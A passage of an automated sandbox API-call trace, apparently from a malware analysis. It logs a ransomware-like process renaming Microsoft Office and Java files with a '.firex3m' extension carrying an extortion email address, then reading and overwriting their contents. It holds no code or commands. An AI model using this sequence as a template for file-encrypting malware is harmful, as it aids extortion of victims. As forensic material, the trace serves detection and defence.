dwReserved1=0x6fe1a00, cFileName="javacpl.cpl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="JAVACP~1.FIR")) returned 0x6d5340 [0124.053] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0124.053] Sleep (dwMilliseconds=0x1) [0124.162] SysReAllocStringLen (in: pbstr=0x637ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml", len=0x68 | out: pbstr=0x637ff7c*="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 1 [0124.162] GetProcessHeap () returned 0x630000 [0124.162] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x150) returned 0x66a3e0 [0124.163] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0124.163] CloseHandle (hObject=0x4e8) returned 1 [0124.163] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x637ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0124.163] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0409-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0409-1000-0000000ff1ce.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0124.164] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x637ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0124.164] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x637fc6c | out: lpFindFileData=0x637fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x834d1316, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x834d1316, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83ecd099, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x630061, dwReserved1=0x2d0074, cFileName="AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="APEE55~1.FIR")) returned 0x6d5200 [0124.164] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0124.164] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0409-1000-0000000ff1ce.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0124.164] GetProcessHeap () returned 0x630000 [0124.164] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x501) returned 0x697da8 [0124.164] GetProcessHeap () returned 0x630000 [0124.164] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x501) returned 0x6672f8 [0124.164] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.164] ReadFile (in: hFile=0x4e8, lpBuffer=0x697da8, nNumberOfBytesToRead=0x4e0, lpNumberOfBytesRead=0x637ff0c, lpOverlapped=0x0 | out: lpBuffer=0x697da8*, lpNumberOfBytesRead=0x637ff0c*=0x4e0, lpOverlapped=0x0) returned 1 [0124.171] GetProcessHeap () returned 0x630000 [0124.171] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee198 [0124.171] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.171] WriteFile (in: hFile=0x4e8, lpBuffer=0x6672f8*, nNumberOfBytesToWrite=0x4e0, lpNumberOfBytesWritten=0x637ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6672f8*, lpNumberOfBytesWritten=0x637ff0c*=0x4e0, lpOverlapped=0x0) returned 1 [0124.171] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.171] WriteFile (in: hFile=0x4e8, lpBuffer=0x6677d7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x637ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6677d7*, lpNumberOfBytesWritten=0x637ff0c*=0x20, lpOverlapped=0x0) returned 1 [0124.171] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.171] WriteFile (in: hFile=0x4e8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x637ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x637ff0c*=0x4, lpOverlapped=0x0) returned 1 [0124.171] CloseHandle (hObject=0x4e8) returned 1 [0124.172] GetProcessHeap () returned 0x630000 [0124.172] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6672f8 | out: hHeap=0x630000) returned 1 [0124.172] GetProcessHeap () returned 0x630000 [0124.172] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x697da8 | out: hHeap=0x630000) returned 1 [0124.172] GetProcessHeap () returned 0x630000 [0124.172] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee198 | out: hHeap=0x630000) returned 1 [0124.173] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x637ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0124.173] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x637fcc4 | out: lpFindFileData=0x637fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x834d1316, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x834d1316, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xff5497b, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x511, dwReserved0=0x9187496, dwReserved1=0x697da0, cFileName="AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="APEE55~1.FIR")) returned 0x6d5200 [0124.174] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0124.174] Sleep (dwMilliseconds=0x1) [0124.176] SysReAllocStringLen (in: pbstr=0x637ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml", len=0x68 | out: pbstr=0x637ff7c*="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 1 [0124.176] GetProcessHeap () returned 0x630000 [0124.176] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x148) returned 0x66a3e0 [0124.177] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0124.177] CloseHandle (hObject=0x4e8) returned 1 [0124.177] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x637ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0124.177] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0409-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0409-1000-0000000ff1ce.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0124.178] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x637ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0124.178] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x637fc6c | out: lpFindFileData=0x637fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x630061, dwReserved1=0x2d0074, cFileName="AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="APE6B4~1.FIR")) returned 0x6d4ec0 [0124.178] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0124.178] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0409-1000-0000000ff1ce.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0124.178] GetProcessHeap () returned 0x630000 [0124.178] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x501) returned 0x697da8 [0124.178] GetProcessHeap () returned 0x630000 [0124.178] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x501) returned 0x6672f8 [0124.178] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.178] ReadFile (in: hFile=0x4e8, lpBuffer=0x697da8, nNumberOfBytesToRead=0x4e0, lpNumberOfBytesRead=0x637ff0c, lpOverlapped=0x0 | out: lpBuffer=0x697da8*, lpNumberOfBytesRead=0x637ff0c*=0x4e0, lpOverlapped=0x0) returned 1 [0124.228] GetProcessHeap () returned 0x630000 [0124.228] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee198 [0124.228] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.228] WriteFile (in: hFile=0x4e8, lpBuffer=0x6672f8*, nNumberOfBytesToWrite=0x4e0, lpNumberOfBytesWritten=0x637ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6672f8*, lpNumberOfBytesWritten=0x637ff0c*=0x4e0, lpOverlapped=0x0) returned 1 [0124.228] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.228] WriteFile (in: hFile=0x4e8, lpBuffer=0x6677d7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x637ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6677d7*, lpNumberOfBytesWritten=0x637ff0c*=0x20, lpOverlapped=0x0) returned 1 [0124.228] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.228] WriteFile (in: hFile=0x4e8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x637ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x637ff0c*=0x4, lpOverlapped=0x0) returned 1 [0124.228] CloseHandle (hObject=0x4e8) returned 1 [0124.229] GetProcessHeap () returned 0x630000 [0124.229] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6672f8 | out: hHeap=0x630000) returned 1 [0124.229] GetProcessHeap () returned 0x630000 [0124.229] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x697da8 | out: hHeap=0x630000) returned 1 [0124.229] GetProcessHeap () returned 0x630000 [0124.229] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee198 | out: hHeap=0x630000) returned 1 [0124.229] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x637ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0124.230] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x637fcc4 | out: lpFindFileData=0x637fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xffed343, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x511, dwReserved0=0x9187496, dwReserved1=0x697da0, cFileName="AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="APE6B4~1.FIR")) returned 0x6d5200 [0124.230] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0124.230] Sleep (dwMilliseconds=0x1) [0124.279] SysReAllocStringLen (in: pbstr=0x637ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml", len=0x68 | out: pbstr=0x637ff7c*="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 1 [0124.279] GetProcessHeap () returned 0x630000 [0124.279] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x13c) returned 0x66a3e0 [0124.279] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0124.279] CloseHandle (hObject=0x4bc) returned 1 [0124.280] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x637ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0124.280] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0000-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0000-1000-0000000ff1ce.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0124.280] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x637ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0124.280] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x637fc6c | out: lpFindFileData=0x637fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x834f7581, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x834f7581, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83ea71ba, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5e91c, dwReserved0=0x630061, dwReserved1=0x2d0074, cFileName="AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="AP074F~1.FIR")) returned 0x6d52c0 [0124.280] FindClose (in: hFindFile=0x6d52c0 | out: hFindFile=0x6d52c0) returned 1 [0124.281] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0000-1000-0000000ff1ce.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0124.281] GetProcessHeap () returned 0x630000 [0124.281] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x71d68a8 [0124.281] GetProcessHeap () returned 0x630000 [0124.281] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x71e1cd8 [0124.281] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.281] ReadFile (in: hFile=0x4bc, lpBuffer=0x71d68a8, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x637ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71d68a8*, lpNumberOfBytesRead=0x637ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0128.154] GetProcessHeap () returned 0x630000 [0128.154] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317a68 [0128.155] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.155] WriteFile (in: hFile=0x4bc, lpBuffer=0x71e1cd8*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x637ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71e1cd8*, lpNumberOfBytesWritten=0x637ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0129.896] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.897] WriteFile (in: hFile=0x4bc, lpBuffer=0x71ed0d7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x637ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71ed0d7*, lpNumberOfBytesWritten=0x637ff0c*=0x20, lpOverlapped=0x0) returned 1 [0129.899] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.899] WriteFile (in: hFile=0x4bc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x637ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x637ff0c*=0x4, lpOverlapped=0x0) returned 1 [0129.899] CloseHandle (hObject=0x4bc) returned 1 [0129.907] GetProcessHeap () returned 0x630000 [0129.907] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71e1cd8 | out: hHeap=0x630000) returned 1 [0129.907] GetProcessHeap () returned 0x630000 [0129.908] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71d68a8 | out: hHeap=0x630000) returned 1 [0129.992] GetProcessHeap () returned 0x630000 [0129.992] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317a68 | out: hHeap=0x630000) returned 1 [0131.535] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x637ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0131.535] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x637fcc4 | out: lpFindFileData=0x637fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x834f7581, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x834f7581, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x13606e5c, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x5e940, dwReserved0=0x9187496, dwReserved1=0x71d68a0, cFileName="AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="AP074F~1.FIR")) returned 0x6d5200 [0131.535] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0131.535] Sleep (dwMilliseconds=0x1) [0131.537] SysReAllocStringLen (in: pbstr=0x637ff7c*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties", len=0x44 | out: pbstr=0x637ff7c*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 1 [0131.537] GetProcessHeap () returned 0x630000 [0131.537] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x3c) returned 0x66a3e0 [0131.537] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0134.511] CloseHandle (hObject=0x4bc) returned 1 [0134.511] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x637ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0134.512] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0134.512] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x637ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0134.512] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x637fc6c | out: lpFindFileData=0x637fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xe10, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages_es.properties.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ME67BD~1.FIR")) returned 0x6d5580 [0134.512] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0134.512] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0134.513] GetProcessHeap () returned 0x630000 [0134.513] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe21) returned 0x70825e8 [0134.513] GetProcessHeap () returned 0x630000 [0134.513] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe21) returned 0x6ecb478 [0134.513] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.513] ReadFile (in: hFile=0x4bc, lpBuffer=0x70825e8, nNumberOfBytesToRead=0xe00, lpNumberOfBytesRead=0x637ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70825e8*, lpNumberOfBytesRead=0x637ff0c*=0xe00, lpOverlapped=0x0) returned 1 [0134.546] GetProcessHeap () returned 0x630000 [0134.546] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317950 [0134.546] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.546] WriteFile (in: hFile=0x4bc, lpBuffer=0x6ecb478*, nNumberOfBytesToWrite=0xe00, lpNumberOfBytesWritten=0x637ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ecb478*, lpNumberOfBytesWritten=0x637ff0c*=0xe00, lpOverlapped=0x0) returned 1 [0134.547] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.547] WriteFile (in: hFile=0x4bc, lpBuffer=0x6ecc277*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x637ff0c, lpOverlapped=0x0 | out: 